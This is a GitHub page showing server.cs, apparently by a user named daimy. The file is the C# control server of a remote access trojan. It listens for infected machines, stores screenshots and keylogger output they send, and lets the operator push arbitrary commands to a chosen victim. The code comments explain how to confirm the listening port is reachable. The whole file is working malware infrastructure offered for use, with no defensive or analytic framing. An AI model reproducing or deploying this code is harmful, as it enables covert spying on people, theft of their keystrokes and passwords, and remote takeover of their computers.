-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathserver.cs
More file actions
229 lines (199 loc) · 6.88 KB
/
server.cs
File metadata and controls
229 lines (199 loc) · 6.88 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
// made by daimy, dc: daimyh
// there are a couple of debugging lines commented out. you can uncomment them
using System;
using System.Collections.Generic;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Threading;
class RATServer
{
private static List<ClientHandler> clients = new List<ClientHandler>();
static void Main()
{
int listenPort = 3000; //make sure this is the same port as in client.cs
// run server.exe/cs then go to canyouseeme.org and check on port 3000 to ensure it works
TcpListener listener = new TcpListener(IPAddress.Any, listenPort);
listener.Start();
Console.WriteLine("\n[+] RAT Server Started");
Console.WriteLine("[+] Listening on port " + listenPort);
Thread acceptThread = new Thread(() => AcceptConnections(listener));
acceptThread.Start();
MainMenu(listener);
}
static void MainMenu(TcpListener listener)
{
while (true)
{
Console.Clear();
Console.WriteLine("\n====================");
Console.WriteLine(" RAT SERVER - DAIMY ");
Console.WriteLine("====================");
Console.WriteLine("1. List Clients");
Console.WriteLine("2. Interact with Client");
Console.WriteLine("3. Exit");
Console.Write("Select an option: ");
switch (Console.ReadLine())
{
case "1":
ListClients();
break;
case "2":
InteractWithClient();
break;
case "3":
listener.Stop();
Console.WriteLine("Exiting...");
return;
default:
Console.WriteLine("Invalid option. Press Enter to continue.");
Console.ReadLine();
break;
}
}
}
static void AcceptConnections(TcpListener listener)
{
while (true)
{
TcpClient client = listener.AcceptTcpClient();
ClientHandler handler = new ClientHandler(client, clients.Count + 1);
clients.Add(handler);
Thread clientThread = new Thread(() => handler.HandleClient());
clientThread.Start();
Console.WriteLine($"[+] New connection from {client.Client.RemoteEndPoint} (Client ID: {handler.ClientID})");
}
}
static void ListClients()
{
Console.Clear();
Console.WriteLine("\nConnected Clients:");
clients.RemoveAll(client => !client.IsConnected());
if (clients.Count == 0)
{
Console.WriteLine("No clients connected.");
}
else
{
foreach (var client in clients)
{
Console.WriteLine($"Client ID: {client.ClientID} - {client.ClientIP}");
}
}
Console.WriteLine("\nPress Enter to return.");
Console.ReadLine();
}
static void InteractWithClient()
{
Console.Clear();
Console.Write("Enter Client ID to interact with: ");
if (!int.TryParse(Console.ReadLine(), out int clientID))
{
Console.WriteLine("Invalid Client ID.");
return;
}
clients.RemoveAll(client => !client.IsConnected());
ClientHandler selectedClient = clients.Find(c => c.ClientID == clientID);
if (selectedClient == null)
{
Console.WriteLine($"Client with ID {clientID} not found.");
return;
}
Console.WriteLine($"\nInteracting with Client {selectedClient.ClientID}. Type 'back' to return.");
selectedClient.Interact();
}
}
class ClientHandler
{
public int ClientID { get; }
public string ClientIP { get; }
private TcpClient client;
private NetworkStream stream;
private StreamReader reader;
private StreamWriter writer;
public ClientHandler(TcpClient client, int clientID)
{
this.client = client;
this.ClientID = clientID;
this.ClientIP = ((IPEndPoint)client.Client.RemoteEndPoint).Address.ToString();
this.stream = client.GetStream();
this.reader = new StreamReader(stream);
this.writer = new StreamWriter(stream) { AutoFlush = true };
}
public void HandleClient()
{
try
{
string screenshotsDirectory = "screenshots";
if (!Directory.Exists(screenshotsDirectory))
{
Directory.CreateDirectory(screenshotsDirectory);
}
string logsDirectory = "logs";
if (!Directory.Exists(logsDirectory))
{
Directory.CreateDirectory(logsDirectory);
}
string line;
while (!string.IsNullOrWhiteSpace(line = reader.ReadLine()))
{
// Console.WriteLine($"[Client {ClientID}] Received: {line}");
}
while (true)
{
line = reader.ReadLine();
if (line == null)
{
Console.WriteLine($"[Client {ClientID}] Disconnected.");
break;
}
if (line.StartsWith("[SCREENSHOT]"))
{
string base64Image = line.Replace("[SCREENSHOT] ", "");
byte[] imageData = Convert.FromBase64String(base64Image);
string screenshotPath = Path.Combine(screenshotsDirectory, $"screenshot_{ClientID}_{DateTime.Now:yyyyMMdd_HHmmss}.jpg");
File.WriteAllBytes(screenshotPath, imageData);
Console.WriteLine($"[Client {ClientID}] Screenshot saved to {screenshotPath}");
}
else if (line.StartsWith("[KEYLOG]"))
{
string logEntry = line.Replace("[KEYLOG] ", "");
File.AppendAllText($"logs/keylog_{ClientID}.txt", logEntry + Environment.NewLine);
// Console.WriteLine($"[Client {ClientID}] Keylog: {logEntry}");
}
else
{
Console.WriteLine($"[Client {ClientID}] {line}");
}
}
}
catch (Exception ex)
{
Console.WriteLine($"[Client {ClientID} Error] {ex.Message}");
}
}
public bool IsConnected()
{
try
{
return !(client.Client.Poll(1, SelectMode.SelectRead) && client.Client.Available == 0);
}
catch
{
return false;
}
}
public void Interact()
{
while (true)
{
Console.Write($"Client {ClientID}> ");
string command = Console.ReadLine();
if (command.ToLower() == "back")
{
break;
}
writer.WriteLine(command);
}
}
}